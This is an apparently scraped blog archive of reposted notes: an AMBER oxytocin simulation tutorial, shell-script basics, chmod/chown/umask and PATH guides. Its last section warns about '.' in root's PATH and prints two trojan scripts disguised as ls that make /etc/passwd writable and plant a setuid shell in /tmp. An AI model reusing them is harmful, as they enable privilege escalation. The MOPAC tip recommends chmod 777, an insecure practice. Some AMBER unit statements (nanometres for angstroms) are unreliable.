|
AMBER分子动力学简例(一) 概述 以下是使用AMBER包的简单教程,希望对开始学习分子动力学的同学有用处。申明一下,以下教程原版来自网上,是最最基本的教程,同时也非常实用,有非常好的借鉴意义。 AMBER分子动力学程序包是加州圣弗兰西斯科大学(University of California San Francisco,UCSF)的Peter A Kollman和其同事编的,程序很全,现在已经发展到版本9.0。AMBER功能涵盖种类非常多的生物分子,包括蛋白、核算以及药物小分子。软件详细情况请浏览http://amber.scripps.edu. 以下是AMBER软件包中四个主要的大程序: -------------------------------------------------------------------------------- Leap:用于准备分子系统坐标和参数文件,有两个程序: xleap:X-windows版本的leap,带GUI图形界面。 tleap:文本界面的Leap。 Antechamber:用于生成少见小分子力学参数文件的。有的时候一些小分子Leap程序不认识, 需要加载其力学参数,这些力学参数文件就要antechamber生成。 Sander:MD数据产生程序,即MD模拟程序,被称做AMBER的大脑程序。 Ptraj:MD模拟轨迹分析程序。 -------------------------------------------------------------------------------- 学习项目 本教程研究的题目是脑下垂体荷尔蒙之一的oxytocin,需要X光衍射晶体结构文件1NPO.PDB。该文件包含了该荷尔蒙和其运载蛋白的复合物,可以从蛋白数据库下载。 PDB文件是不包含氢原子的,Leap程序会自动的加上PDB文件缺少的东西。当第一次使用PDB文件的时候,要十分留意文件包含的信息,所以PDB文件缺少的残疾、侧链或者添加的变异都在这个地方记录。可以用文本阅读程序阅读PDB文件头部的信息,即以REMARKS开头的信息文本行。PDB一个重要的信息是SSBOND记录,该记录说明结构中二硫键的位置,这样的信息在使用Leap程序建立分子结构的时候需要。在本教程中,我们将比较oxytocin在真空和溶液中分子动力学的差异,如果没有二硫键,将影响整个结果。整个过程在Linux系统下完成,如对Linux不熟悉,请翻阅有关Linux书籍。 建立项目目录,并进入该目录: mkdir myproj cd myproj 下载1NPO.PDB文件到该目录下,使用文本阅读器阅读该PDB文件。从在文件的开头部分可以得到该文件是一个二聚物的PDB文件,删除文件中A、C、和D链对应的文本行,剩下的就是oxytocin的晶体机构了,保存为oxyt.pdb文件。 使用Swiss PDB viewer分析以下oxyt.pdb文件,可以得知该pdb文件缺少了一个侧链。如果使用Deep View,它会自动给文件加上侧链。重新保存pdb文件为oxyt.pdb文件。 xleap和tleap程序功能是一样的,都是准备分子结构的坐标文件和拓扑文件。xleap启动一个X界面,比较慢。tleap纯文本,要快一些,我们选择tleap: tleap -s -f leaprc.ff03 其中leaprc.ff03是AMBER的2003力场文件。力场是一个很重要的文件,定义了分子、原子和残疾等的信息,请查阅有关资料。 oxy=loadpdb oxyt.pdb 该命令读入oxyt.pdb文件到oxy变量中。 bond oxy.1.SG oxy.6.SG 连接oxy变量的第一和第六个残疾的SG原子,即是连接二硫键。可以使用check命令检查oxy是否完好,没有特殊情况的话,最后应该是“OK”,表示分子系统状态是好的,可以保存。 check oxy 接下来就是保存分子系统了: saveamberparm oxy oxy_vac.top oxy_vac.crd 其中oxy_vac.top和oxy_vac.crd分别是分子系统真空状态下的拓扑和坐标文件。 接下来要给分子系统添加水环境, solvateoct oxy TIP3PBOX 9.0 该命令让Leap程序使用TIP3PBOX水模型,水环境距离分子为9纳米。也可以用solvatebox命令,但是solvatebox添加的水环境是一个立方体,不是八面体。一般要求水表面到蛋白距离要达到8.5纳米,避免MD过程中蛋白冲出水环境,但是水环境越大计算时间将越长。如果MD过程内含PME,那么水箱长度要大于2倍截矩(cutoff),截矩在MD配置文件中定义。加溶剂之后,要计算系统是否为电中性,使用命令: charge oxy 如果现实不是电中性,要使用addions添加反性电荷,如Cl-或者Na+等。 最后保存溶剂环境的系统拓扑结构和坐标文件,并退出Leap程序: saveamberparm oxy oxy.top oxy.crd quit 也可以把命令集中到一个,让tleap读取。如将上面的命令集中到以下文件中 "oxy.leaprc" -------------------------------------------------------------------------------- source leaprc.ff03 oxy=loadpdb oxyt.pdb bond oxy.1.SG oxy.6.SG check oxy saveamberparm oxy oxy_vac.top oxy_vac.crd solvateoct oxy saveamberparm oxy oxy.top oxy.crd quit -------------------------------------------------------------------------------- 将以上两横线之间的命令保存为"oxy.leaprc",然后使用以下命令一步搞定: tleap -s -f oxy.leaprc 到此,分子系统准备已经完成,目录中会多了一个leap.log文件,这是Leap程序的记录文件,它包含了leap程序所做的一切,包括自动的和手动命令。 现在已经有了可以进行分子动力学的基本文件了,再编写sander的控制文件,就可以进行模拟了。这些将在后文中介绍。 AMBER分子动力学简例(二) 分子动力学(1) 真空模式 真空模式分子动力学模拟将使用NVT系宗分两步进行,即系统能量最优化和分子动力学过程。 1、系统能量最优化。我们将使用淬火能量最优化解除系统内原子之间的不正常相互作用,这些原子之间的高能量相互作用如果不消除,可能影响后续的分子动力学过程。因为动力学过程是能量梯度变化的,太高的能量壁垒可能让MD局限在某一个能量局部最小化位置中。 Sander程序是分子动力学模拟程序,它的主要功能是能量最优化,动力学模拟和NMR优化计算。我们必须给Sander一个运行的配置文件,使其按照我们的要求进行计算。能量最优化的配置文件如下: "min_vac.in" -------------------------------------------------------------------------------- oxytocin: initial minimization prior to MD &cntrl imin = 1, maxcyc = 500, ncyc = 250, ntb = 0, igb = 0, cut = 12 / -------------------------------------------------------------------------------- Sander程序的基本命令参数如下: sander –O –i in –o out –p prmtop –c inpcrd –r restrt [-ref refc –x mdcrd –v mdvel –e mden –inf mdinfo] 所以我们的命令可以如下: sander –O –i min_vac.in –o min_vac.out –p oxy_vac.top –c oxy_vac.crd –r oxy_vacmin.rst & 可以使用more命令或者tail命令查看min_vac.out的输出内容,那是能量最优化的记录。 2、分子动力学模拟。 Sander程序的配置文件为: md_vac.in -------------------------------------------------------------------------------- oxytocin MD in-vacuo, 12 angstrom cut off, 250 ps &cntrl imin = 0, ntb = 0, igb = 0, ntpr = 100, ntwx = 500, ntt = 3, gamma_ln = 1.0, tempi = 300.0, temp0 = 300.0, nstlim = 125000, dt = 0.002, cut = 12.0 / -------------------------------------------------------------------------------- 命令为: sander –O –i md_vac.in –o md_vac.out –p oxy_vac.top –c oxy_vacmin.rst –r oxy_vacmd.rst –x oxy_vacmd.mdcrd –ref oxy_vacmin.rst –inf mdvac.info & MD的计算过程一般比较久,真空相对与溶剂中要快以下,250ps的模拟大概在一个主频为2。0GHz的Linux单机上运行5分钟。 以上配置文件中用到很多参数,这些参数这是sander程序参数的一小部分,以下将相应解释。如果要了解sander的其他参数,请阅读AMBER用户指南。 &ctrl和"/":sander的参数一般要求出现在这两个标识符号之间,参数以及这两个标识符被称做控制模块。 cutoff:以纳米为单位的截矩。即超出截矩范围的非键连接相互作用将不计。 ntr:原子位置能量抑制位,1表示抑制,0表示不抑制。 imin:能量最优化标志位。1表示sander将进行能量最优化,0表示让sander进行分子动力学模拟。 macyc:能量最优化次数。 ncyc:便是经过多少次能量优化以后,能量优化从淬火过程变为梯度变化过程。 ntmin:能量优化方法标志位。0表示前10个能量最优化为淬火过程,然后进行梯度能量优化;1表示ncyc次淬火过程,然后进行梯度能量优化,为默认值;2表示只进行淬火过程。 dx0:表示启动模拟步长。 dxm:最大优化步数。 drms:梯度能量优化标准,默认值为1.0E-4 kcal/mol.A。 更多参数将在后文中解释。 AMBER分子动力学简例(三) 分子动力学(2) 水环境中的分子动力学模拟 溶剂环境中的分子动力学模拟分为以下四步进行: 1、溶剂环境能量最优化。这一步保持溶质(蛋白)不变,去除溶剂中能量不正常的范德华相 互作用。 2、整系统能量最优化。去除整个系统中能量不正常的相互作用。 3、有限制的分子动力学。保持蛋白质不动,溶解溶剂的不同层,同时逐渐将系统温度从0K提升到300K。 4、整系统分子动力学模拟。在一个大气压,300K的环境下整个系统分子动力学模拟。可以得到成果的分子动力学模拟。 ############################# 1、溶剂环境能量最优化。 该步骤的配置文件min1.in如下: -------------------------------------------------------------------------------- oxytocin: initial minimisation solvent + ions &cntrl imin = 1, maxcyc = 1000, ncyc = 500, ntb = 1, ntr = 1, cut = 10 / Hold the protein fixed 500.0 RES 1 9 END END -------------------------------------------------------------------------------- 该过程保持肽链不动,其中500.0单位是kcal/mol,表示作用在肽链上使其不动的力。“RES 1 9”表示肽链残基数目,因为我们学习使用的oxytocin有9个残基。 模拟命令如下: sander –O –i min1.in –o min1.out –p oxy.top –c oxy.crd –r oxy_min1.rst –ref oxy.crd & 2、整系统能量最优化。 配置文件min2.in如下: -------------------------------------------------------------------------------- oxytocin: initial minimisation whole system &cntrl imin = 1, maxcyc = 2500, ncyc = 1000, ntb = 1, ntr = 0, cut = 10 / -------------------------------------------------------------------------------- 命令如下: sander –O –i min2.in –o min2.out –p oxy.top –c oxy_min1.rst –r oxy_min2.rst & 3、有限制的分子动力学。 第 一步分子动力学保持蛋白分子位置不变,但是不是完全固定每个原子,同时缓解蛋白分子周围的水分子,是溶剂环境能量优化。在这个步骤中,我们将主要目的是对 特定的原子使用作用力使其能量优化。我们要优化溶剂环境,至少需要10ps,我们将使用20ps用来优化我们上两步制作的分子系统的周期性边界的溶剂环 境。 命令配置文件md1.in如下: -------------------------------------------------------------------------------- oxytocin: 20ps MD with res on protein &cntrl imin = 0, irest = 0, ntx = 1, ntb = 1, cut = 10, ntr = 1, ntc = 2, ntf = 2, tempi = 0.0, temp0 = 300.0, ntt = 3, gamma_ln = 1.0, nstlim = 10000, dt = 0.002, ntpr = 100, ntwx = 500, ntwr = 1000 / Keep protein fixed with weak restraints 10.0 RES 1 9 END END -------------------------------------------------------------------------------- 上述参数解释如下: ntb = 1:表示分子动力学过程保持体积固定。 imin = 0:表示模拟过程为分子动力学,不是能量最优化。 nstlim = #:#表示计算的步数。 dt = 0.002:表示步长,单位为ps,0.002表示2fs。 temp0 = 300:表示最后系统到达并保持的温度,单位为K。 tempi = 100:系统开始时的温度。 gamma_ln = 1:表示当ntt=3时的碰撞频率,单位为ps-1(请参考AMBER手册) ntt = 3:温度转变控制,3表示使用兰格氏动力学。 tautp = 0.1:热浴时间常数,缺省为1.0。小的时间常数可以得到较好的耦联。 vlimit = 20.0:保持分子动力学稳定性速度极限。20.0为缺省值,当动力学模拟中原子速度大于极限值时,程序将其速度降低到极限值以下。 comp = 44.6: 溶剂可压缩单位。 ntc = 2:Shake算法使用标志位。1表示不实用使用,2表示氢键将被计算,3表示所有键都将被计算在内。 tol = #.#####:坐标位置重新设置的几何位置相对容忍度。 我 们将使用一个较小的作用力,10kcal/mol。在分子动力学中,当ntr=1时,作用力只需要5-10kcal/mol(我们需要引用一个坐标文件做 分子动力学过程的比较,我们需要使用"-ref"参数)。太大的作用力同时使用Shake算法和2fs步长将使整个系统变得不稳定,因为大的作用力使系统 中的原子产生大频率的振动,模拟过程并步需要。 运行命令如下: sander –O –i md1.in –o md1.out –p oxy.top –c oxy_min2.rst –r oxy_md1.rst –x oxy_md1.mdcrd –ref oxy_min2.rst –inf md1.info& 进行MD的运行时间一般较长,可以使用程序的并行版本提交集群计算。在主频位2.0GHz的P4单机上,大概需要一个钟头。可以随时查看md1.in文件的程序输出。 4、整系统分子动力学模拟。 这一步中,我们将进行整个系统的分子动力学模拟,而不对某些特定原子位置进行限制。因为知识一个小例子,我们将只进行250ps的MD计算。配置文件md2.in如下: -------------------------------------------------------------------------------- oxytocin: 250ps MD &cntrl imin = 0, irest = 1, ntx = 7, ntb = 2, pres0 = 1.0, ntp = 1, taup = 2.0, cut = 10, ntr = 0, ntc = 2, ntf = 2, tempi = 300.0, temp0 = 300.0, ntt = 3, gamma_ln = 1.0, nstlim = 125000, dt = 0.002, ntpr = 100, ntwx = 500, ntwr = 1000 / -------------------------------------------------------------------------------- 上面一些参数解释如下: ntb=2:表示分子动力学过程的压力常数。 ntp=1:表示系统动力学过程各向同性。 taup = 2.0:压力缓解时间,单位为ps。 pres=1:引用1个单位的压强。 使用以下命令进行MD: sander –O –i md2.in –o md2.out –p oxy.top –c oxy_md1.rst – r oxy_md2.rst –x oxy_md2.mdcrd –ref oxy_md1.rst –inf md2.info & 模拟时间较长,在P4单机2.0GHz的上需要7.5个小时。 到 此,模拟全部完成,接下来要对得到的数据进行分析。主要数据文件.out文件,包含系统能量、温度,压力等等;.mdcrd文件,是分子动力学轨迹文件, 可以求系统蛋白的RMSD,回转半径等等。数据分析根据不同的研究目的不同而不同,我们将在后文中进行一些简单的分析。 使用pdbviewer软件 load structure的时候,假设侧链缺失会 有提示错误信息。 直接使用xleap产生该结构的top crd后,再使用ambpdb重新产生structure即可加上侧链 |
本文引用地址: http://www.sciencenet.cn/m/user_content.aspx?id=289032 |
Thursday, April 22, 2010
AMBER分子动力学简例[zz]
How to Create a First Shell Script (zz)
How to Create a First Shell Script
Shell scripts are short programs that are written in a shell programming language and interpreted by a shell process. They are extremely useful for automating tasks on Linux and other Unix-like operating systems. A shell is a program that provides the traditional, text-only user interface for Unix-like operating systems. Its primary function is to read commands (i.e., instructions) that are typed into a console (i.e., an all-text display mode) or terminal window (i.e., all-text mode window) and then execute (i.e., run) them. The default shell on Linux is the very commonly used and highly versatile bash. A programming language is a precise, artificial language that is used to write computer programs, which are sets of instructions that can be automatically translated (i.e., interpreted or compiled) into a form (i.e., machine language) that is directly understandable by a computer's central processing unit (CPU). A feature of bash and other shells used on Unix-like operating systems is that each contains a built-in programming language, referred to as a shell programming language or shell scripting language, which is used to create shell scripts. Among the advantages of using shell scripts are that they can be very easy to create and that a large number are already available in books and on the Internet for use with or without modification for a wide variety of tasks. Shell scripts are also employed extensively in the default installations of Unix-like operating systems. A First Script The following example, although extremely simple, provides a useful introduction to creating and using shell scripts. The script clears the monitor screen of all previous lines and then writes the text Good morning, world. on it. All that is necessary to create this script is to open a text editor (but not a word processor), such as gedit or vi, and type the following three lines exactly as shown on a new, blank page:
Alternatively, the above code could be copied from this page and pasted to a blank page opened by the text editor page using the standard keyboard or mouse copy and paste functions. After saving this plain text file, with a file name such as morning (or anything else desired), the script is complete and almost ready to run. Scripts are typically run by typing a dot, a forward slash and the file name (with no spaces in between) and then pressing the ENTER key. Thus, for example, if the above script were saved with the name morning, an attempt could be made to execute it by issuing the following command:
However, the script probably will not run, in which case an error message will appear on the screen such as bash: ./morning: Permission denied. This is because the permissions for the file first have to be set to executable. (By default, the permissions for new files are set to read and write only.) The problem can easily be solved by using the chmod command with its 755 option (which will allow the file creator to read, write and execute the file) while in the same directory as that in which the file is located as follows:
Now the script is ready to run by typing the following, again while in the same directory, and then pressing the ENTER key:
How It Works The first of the three lines tells the operating system what shell to use to interpret the script and the location (i.e., absolute pathname) of the shell. The shell is bash, which is located in the /bin directory (as are all shells); thus the line contains /bin/bash. This instruction is always preceded by a pound sign and an exclamation mark in order to inform the operating system that it is providing the name and location of the shell (or other scripting language). The second line tells the shell to issue the clear command. This is a very simple command that removes all previous commands and output from the console or terminal window in which the command was issued. The third line tells the shell to write the phrase Good morning, world. on the screen. It uses the echo command, which instructs the shell to repeat whatever follows it. (The quotation marks are not necessary in this case; however, it is good programming practice to use them, and they can make a big difference in more advanced scripts.) In slightly more technical terms, Good morning, world. is an argument (i.e., input data) that is passed to the echo command. As is the case with other commands used in shell scripts, clear and echo can also be used independently of scripts. Thus, for example, typing clear on the screen and pressing the ENTER key would remove all previous commands and output and just leave a command prompt for entering the next command. It Doesn't Work! If the phrase Good morning, world. does not appear at the top of the screen, there are several possible reasons: (1) an error was made in copying the code (such as omitting the word echo), (2) the name used in the command was not exactly the same as that of the file (e.g., there is an extra space or a minor difference in spelling or capitalization), (3) the period and/or forward slash were omitted (or reversed) in the command, (4) a space was inserted after the period or slash, (5) the file is not a plain text file (typically because a word processor was used to create it instead of a text editor), (6) the command was not issued in the same directory as that in which the file is located and (7) the permissions were not changed to execute for the owner (i.e., creator) of the file. It is important to avoid practicing writing and executing scripts as the root (i.e., administrative) user. An improperly written script could damage the operating system, and, in a worst case scenario, it could result in the loss of valuable data and make it necessary to reinstall the entire operating system. For this and other reasons, if an ordinary user account does not yet exist on the computer, one should immediately be created (which can be easily accomplished with a command such as adduser). Experiments There are a number of simple, and instructive, experiments that a curious user could do with the above example before moving on to more complex examples. They consist of revising the code as suggested below, saving the revisions (using either the same file name or a different file name), and then executing them as explained above. (1) One is to try changing some of the wording (for example, changing the third line to echo "Good evening, folks."). (2) Another is to add one or more additional lines to be written to the screen, each beginning with the word echo followed by at least one horizontal space. (3) A third is to leave a blank line between two echo lines. (It will be seen that this will not affect the result; however, a blank line can be created by just typing echo on it and nothing else.)
(4) A fourth is to insert some blank horizontal spaces. (Notice that the result will be different depending on whether the blank spaces are inserted before or after the first quotation marks. This tells something about the role of quotation marks in shell scripts.)
(5) A fifth is to execute the file from a different directory from that in which it is located. This requires adding the path of the executable script to the beginning of the command name when it is issued (e.g., ./test/morning if the file has been moved to a subdirectory named test). (6) Another experiment would be to add some other command to the script file, such as ps (which shows the processes currently on the system), pwd (which shows the current directory), uname (which provides basic information about a system's software and hardware) or df (which shows disk space usage). (Notice that these and other commands can be used in the script with any appropriate options and/or arguments.)
|
Wednesday, April 21, 2010
Linux command: Cat
cat [options] [files]
Read (concatenate) one or more files and print them on standard output. Read standard input if no files are specified or if - is specified as one of the files; input ends with EOF.
You can use the > operator to combine several files into a new file, or >> to append files to an existing file. When appending to an existing file, use Ctrl-D, the end-of-file symbol, to end the session.
Options
Same as -vET.
Number all nonblank output lines, starting with 1.
Same as -vE.
Print $ at the end of each line.
Number all output lines, starting with 1.
Squeeze down multiple blank lines to one blank line.
Same as -vT.
Print TAB characters as ^I.
Ignored; retained for Unix compatibility.
Display control and nonprinting characters, with the exception of LINEFEED and TAB.
Examples
cat ch1
cat ch1 ch2 ch3 > all
cat note5 >> notes
cat > temp1
Friday, April 16, 2010
ubuntu 文件权限命令详解使用格式和方法zz
http://www.javaeye.com/topic/595628
在 Ubuntu Linux 中用源码文件安装软件时经常都会用到chmod命令来更改文件的权限使其在安装时有执行的权限。由于 Ubuntu Linux 默认不能用root账户来登录所以在用chmod命令来更改文件的权限时往往需要结合sudo命令来使用,如果你对sudo命令还不太了解,请先看看本站 的《sudo命令详解》
chmod
Linux/Ubuntu 系统中文件调用的权限分为三级:文件拥有者(u)、群组(g)、其他(o)。用chmod就可以更改文件的权限。chmod是一个相当灵活的命令,对同一个文件的权限的修改可以用多种风格的命令格式来实现。
◆方式一:
语法格式:
chmod [-vR] mode 文件名 |
参数说明:
mode 权限设置字串,格式为[ugoa] [+-=] [rwx]
u 表示文件的拥有者
g 表示与此文件拥有者属于一个组群的人
o 表示其他人
a 表示包含以上三者即文件拥有者(u)、群组(g)、其他(o)
+ 表示增加权限
- 表示取消权限
= 表示唯一设置权限
r 表示有读取的权限
w 表示有写入的权限
x 表示有执行的权限
-v 显示权限改变的详细资料
-R 表示对当前目录下的所有文件和子目录进行相同的权限更改
例:
我们要将当前目录下ownlinux这个文件的权限修为所有用户拥有该文件的读取、写入、执行的权限。在这里就需要结合sudo命令来使用,如果你对sudo命令还不太了解,请先看看本站的《sudo命令详解》
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux [sudo] password for ownlinux: (此时输入你的密码) |
或者使用
ownlinux@server:/var/www$ sudo chmod ugo+rwx ownlinux [sudo] password for ownlinux: (此时输入你的密码) |
命令不一样,但执行后的效果是一样的。
◆方式二:
语法格式:
chmod [-vR] [No] 文件名 |
参数说明:
No 三位代表相应权限的数字
-v 显示权限改变的详细资料
-R 表示对当前目录下的所有文件和子目录进行相同的权限更改
可能这种方式对于初学者来说有一定的难度,但这种方法学会后在更改文件权限就变得非常的简单。相信通过我的介绍大家会掌握种方法的:)
首先了解一下读取(r)、写入(w)、执行(x)相应的数字编号,如下图所示
如果你记住了上图所示的数字和对应的权限就往下边看
刚才已经说过了,[No]参数 是三位代表相应权限的数字。从左向右,第一位数学代表文件拥有者(u)的权限、群组(g)的权限、其他(o)的权限。每一个数字就对应该级用户拥有的权限即为rwx相应的数字之和。这样说可能大家不是很明白,我画了一张表帮助大家了解
如上图可以看出来如果是所有用户拥有该文件的读取、写入、执行的权限就是拥有者(u)的权限(4+2+1=7)群组(g)的权限(4+2+1=7) 其他(o)的权限(4+2+1=7即为777。注意:如果没有读取的权限则”r”相应的数字编号就为”0″,写入(w)、执行(x)同理。
例:
就用刚才方式一的例子,我们要将当前目录下ownlinux这个文件的权限修为所有用户拥有该文件的读取(r)、写入(w)、执行(x)的权限。回顾一下方式一的命令格式。
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux [sudo] password for ownlinux: (此时输入你的密码) |
方式二的命令
ownlinux@server:/var/www$ sudo chmod 777 ownlinux [sudo] password for ownlinux: (此时输入你的密码) |
可以看出使用方式二的命令格式简洁明了
如果要让当前目录下ownlinux这个文件的权限修为该文件的拥有者(u)有该文件的读取(r)、写入(w)、执行(x)的权限,群组(g)和其他(o)的用户只有读取(r)和执行(x)的权限,运行以下命令:
ownlinux@server:/var/www$ sudo chmod 755 ownlinux [sudo] password for ownlinux: (此时输入你的密码) |
相信通过我的介绍大家都已经对chmod这个命令有一定的了解了吧。我觉得方式二的命令风格一但了解了就很容易掌握,而且方式二的命令风格简单明了。
感谢来自Ownlinux.cn:Linux/Ubuntu chmod命令详解使用格式和方法的稿件
以上为改变用户
改变群组的命令是
超级用户
格式
chgrp [选项] 组 文件
或
chgrp [选项] --reference=参考文件 文件
将每个<文件>的所属组设定为<组>。
参数
-c, --changes :像 --verbose,但只在有更改时才显示结果。
--dereference:会影响符号链接所指示的对象,而非符号链接本身。
-h, --no-dereference:会影响符号链接本身,而非符号链接所指示的目的地(当系统支持更改符号链接的所有者,此选项才有效)。
-f, --silent, --quiet:去除大部分的错误信息。
--reference=参考文件:使用<参考文件>的所属组,而非指定的<组>。
-R, --recursive:递归处理所有的文件及子目录。
-v, --verbose:处理任何文件都会显示信息。
应用说明
该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。
文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。
应用实例
改变/opt/local /book/及其子目录下的所有文件的属组为book,命令如下:
$ chgrp - R book /opt/local /book
最后是改变文件用户
(2) chown
功能:改变文件拥有者
格式:chown [参数]<用户名><文件名>
参数:-R:递归改变目录的拥有者
-f:不显示拥有者的详细信息
实例:1)# chown user f1
2)# chown -R user1 /d1
(3)umask
功能:设置权限掩码(决定新建文件的权限)
格式:umask 权限值(超级用户默认为022,普通用户默认为002)
实例:# umask 044
计算公式:目录:777-umask
Install MOPAC2009 on Ubuntu
- During install, MOPAC gives the message "permission denied"
- Because the directory, subdirectory and file must have read and write permission. Use the "chmod" command to set the permissions, the simplest is "chmod -R 777 /opt/mopac/". Note: don't miss "-R" , it is very important, without it, the directory "mopac" has the read and wirte prermission, but the subdirectory and file don't have read and write permission.
Saturday, April 10, 2010
关于用户环境变量PATH的设置
在一般情况下,Linux文件系统中bin或sbin目录中的文件都是可执行的。有时我们为了方便不输入路径就能调用指令或工具,这时要就要设置用户的环境变量PATH。
看下面的一例:
[root@localhost ~]# ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
[root@localhost ~]# /bin/ls
adduml.sh lsfile.sh mkuml-2004.07.17 mkuml-2004.07.17-ananas.tar.bz2 mydir openQreadme.txt sun.txt tmp upgrade.log
上面的例子,第一个指令就是直接运行了ls命令来显示当前目录下的文件和子目录;第二个条/bin/ls 指令是用绝对路径的ls来运行的;这两种方式运行的结果看来是一样的。
在论坛上,有些弟兄总是我已经安装了某某软件包,却没有某个指令。其实就是环境变量设置的事。如果您直接输入某个指令不存在,解决办法有两个,一个方法是要指定用可执行文件的绝对路径(也可以是相对路径,怎么方便怎么用吧),另一个方法是设定用户的环境变量。
我们可以用export PATH来设置环境变量。比如把下面一行加入到用户家目录下的.bashrc 或.profile文件中;
export PATH=".:/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/X11R6/bin"
解释:您可以找出Linux文件系统中所有bin或sbin目录的的绝对路径,然后把它们用:号分割,比如上面所设置的。第一个.表示用户当前所处的目录;
添加好后,我们再运行一下source,也就是:
#source .bashrc
或
#source .profile
如果发现指令只有root权限才运行,这时您要用到su; 如果您用的是普通用户,可能无权查看一些文件的目录的内容,您也需要用到su来切换身份;请参考:《Linux 系统中的超级权限的控制》
常见的环境变量
对于PATH和HOME等环境变量大家都不陌生。除此之外,还有下面一些常见环境变量。
◆ HISTSIZE是指保存历史命令记录的条数。
◆ LOGNAME是指当前用户的登录名。
◆ HOSTNAME是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来取得的。
◆ SHELL是指当前用户用的是哪种Shell。
◆ LANG/LANGUGE是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。
◆ MAIL是指当前用户的邮件存放目录。
◆ PS1是基本提示符,对于root用户是#,对于普通用户是$。PS2是附属提示符,默认是“>”。可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“Hello,My NewPrompt ”。
# PS1=" Hello,My NewPrompt "
Hello,My NewPrompt
除了这些常见的环境变量,许多应用程序在安装时也会增加一些环境变量,比如使用Java就要设置JAVA_HOME和CLASSPATH等,而安装五笔输入法会增加环境变量"XMODIFIERS=@im=fcitx"等。
定制环境变量
环境变量是和Shell紧密相关的,用户登录系统后就启动了一个Shell。对于Linux来说一般是bash,但也可以重新设定或切换到其它 的 Shell。环境变量是通过Shell命令来设置的,设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来 说,可以通过变量名来访问相应的环境变量,通过export来设置环境变量。下面通过几个实例来说明。
1. 显示环境变量HOME
$ echo $HOME
/home/terry
2. 设置一个新的环境变量WELCOME
$ export WELCOME="Hello!"
$ echo $WELCOME
Hello!
3. 使用env命令显示所有的环境变量
$ env
HOSTNAME=terry.mykms.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
...
4. 使用set命令显示所有本地定义的Shell变量
$ set
BASH=/bin/bash
BASH_VERSINFO=([0]="2"[1]="05b"[2]="0"[3]="1"[4]="release"[5]="i386-redhat-linux-gnu")
BASH_VERSION='2.05b.0(1)-release'
COLORS=/etc/DIR_COLORS.xterm
COLUMNS=80
DIRSTACK=()
DISPLAY=:0.0
...
5. 使用unset命令来清除环境变量
set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值,则该变量值将被设为NULL。示例如下:
$ export TEST="Test..." #增加一个环境变量TEST
$ env|grep TEST #此命令有输入,证明环境变量TEST已经存在了
TEST=Test...
$ unset $TEST #删除环境变量TEST
$ env|grep TEST #此命令没有输出,证明环境变量TEST已经存在了
6. 使用readonly命令设置只读变量
如果使用了readonly命令的话,变量就不可以被修改或清除了。示例如下:
$ export TEST="Test..." #增加一个环境变量TEST
$ readonly TEST #将环境变量TEST设为只读
$ unset TEST #会发现此变量不能被删除
-bash: unset: TEST: cannot unset: readonly variable
$ TEST="New" #会发现此也变量不能被修改
-bash: TEST: readonly variable
7. 用C程序来访问和设置环境变量
对于C程序的用户来说,可以使用下列三个函数来设置或访问一个环境变量。
◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字,返回值是一个字符串。如果所访问的环境变量不存在,则会返回NULL。
◆ setenv()在程序里面设置某个环境变量的函数。
◆ unsetenv()清除某个特定的环境变量的函数。
另外,还有一个指针变量environ,它指向的是包含所有的环境变量的一个列表。下面的程序可以打印出当前运行环境里面的所有环境变量:
#include
extern char**environ;
int main ()
{
char**var;
for (var =environ;*var !=NULL;++var)
printf ("%s \n ",*var);
return 0;
}
还可以通过修改一些相关的环境定义文件来修改环境变量,比如对于Red Hat等Linux发行版本,与环境相关的文件有/etc/profile和~/.bashrc等。修改完毕后重新登录一次就生效了。
对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。
例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)
命令操作如下:
[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.
这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文 件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对 root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误 敲成了lls,结果哈哈。。。。
以下是个简单的C shell 的例子
#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls
稍微变形就有个B shell的
#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"
如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的 脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。
在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不 会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结 果/sbin/ps却不被执行。类似这样的小花招还有很多。
管理员同志,不要太紧张,下面我说说解决办法。
